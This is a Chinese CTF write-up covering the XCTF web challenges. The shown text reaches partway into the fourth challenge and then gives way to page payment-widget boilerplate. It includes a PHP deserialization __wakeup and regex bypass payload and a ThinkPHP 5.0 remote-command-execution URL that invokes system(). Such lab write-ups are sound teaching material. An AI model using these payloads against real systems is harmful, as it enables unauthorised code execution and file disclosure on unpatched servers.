攻防世界 web 进阶题 001-012

本文解析了一系列CTF网络安全挑战赛中的题目,涵盖SQL注入、PHP代码审计、远程命令执行等多种安全漏洞利用技巧。

目录

001 baby_web

002 Training-WWW-Robots

003 Web_php_unserialize

004 php_rce

005 web_php_include

006.supersqli

007.ics-06

008.warmup

009 NewsCenter

010 NaNNaNNaNNaN-Batman

011  web2

012  PHP2



001 baby_web

题目:

方法一:
访问index.php,同时burp抓包,发给repeater分析,go,查看响应头,会得到flag。
方法二:
火狐浏览器,访问index.php,按F12,在网络部分中,响应头里有flag。收获:项目入口文件index.php.index.php文件是一个php网站首页文件,index是普遍意义上的“首页”,也就是你输入一个域名后会打开一个页面,基本上就是index.xxxx。(取材于某度)

 

002 Training-WWW-Robots

题目:打开会看到百度翻译:在这个小小的训练挑战中,您将了解Robots_exclusion_standard。
txt文件被网络爬虫用来检查他们是否被允许爬行和索引你的网站,或仅仅它的一部分。
有时这些文件会显示目录结构,而不是保护内容不被抓取。
享受吧!
查一下关于robots.txt的资料.
方法:访问robots.txt,结果如下
然后继续访问,f10g.php,得到flag.

收获:当一个搜索机器人(有的叫搜索蜘蛛)访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,那么搜索机器人就沿着链接抓取。并且,robots.txt必须放在一个站点的根目录下,而且文件名必须是小写。robots.txt就是告知搜索引擎哪些是允许访问的,哪些是不想被搜索引擎收录的。如果您希望搜索引擎收录网站上所有内容,请勿建立robots.txt文件。但是,robots.txt不是防火墙,不能阻止访问。

 

003 Web_php_unserialize

题目:打开后是这样一堆代码,那就是要进行代码审计了

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

1. isset()函数作用事检测变量是否存在,

若变量不存在则返回false;

若变量存在但是其值为null,也返回false;

若变量存在且其值不为null,则返回true.

2.  _construct(),类的构造函数;

     _destruct(),类的析构函数。

3. highlight_file(file) ,高亮显示出文件。

分析一下:首先是绕过正则匹配,然后进行反序列化,反序列化函数执行前,会执行wakeup()函数,故还要绕过wakeup()函数:
绕过正则匹配可以在//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}中
4前面加上‘+’,   1表示Demo类的变量数
而wakeup()函数 当成员属性数目大于实际数目时可绕过wakeup方法  故把1改为2  

O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
然后进行base64编码,然后传参,即可得到flag.

__sleep() 当调用searialize()方法时调用,返回值为数组,表示需要序列化的数据项.
__wakeup() 当调用unsearizlie()方法时调用。一般用来在唤醒时初始化资源对象.

#python代码
import base64
 
st = 'O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}'.encode()#默认以utf8编码
res = base64.b64encode(st)
print(res.decode())#默认以utf8解码
res = base64.b64decode(res)
print(res.decode())#默认以utf8解码

#结果:TzorNDoiRGVtbyI6Mjp7czoxMDoiIERlbW8gZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
#O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}

 (注意:不要用在线base64编码,我当时搞了好久,最后发现在线编码得出的结果不太正确),下面是payload.

index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

 或者可以用requests库

 

注意:

1.编码与解码的处理对象是byte,故对原数据要先编码,使原本的str类型变成byte,解码后直接输出来的是byte对象,故要解码成str对象。

2.%20是网页地址的空格符。html中的空格符是& nbsp;因为地址不能包含空格。它是序列化后的空格符。
在url传递参数的时候,一般都会序列化一下,以保证参数的安全。

 

004 php_rce

题目:打开题目后,看到如图:
发现是一个ThinkPHP的框架而且正好是v5.0版本。这个版本存在远程命令执行的漏洞,程序未对控制器进行过滤,导致攻击者可以通过\符号调用任意类。
方法一:利用system函数远程命令执行
使用payload

 /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../

来列出当前目录。


发现有如上图显示,但

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值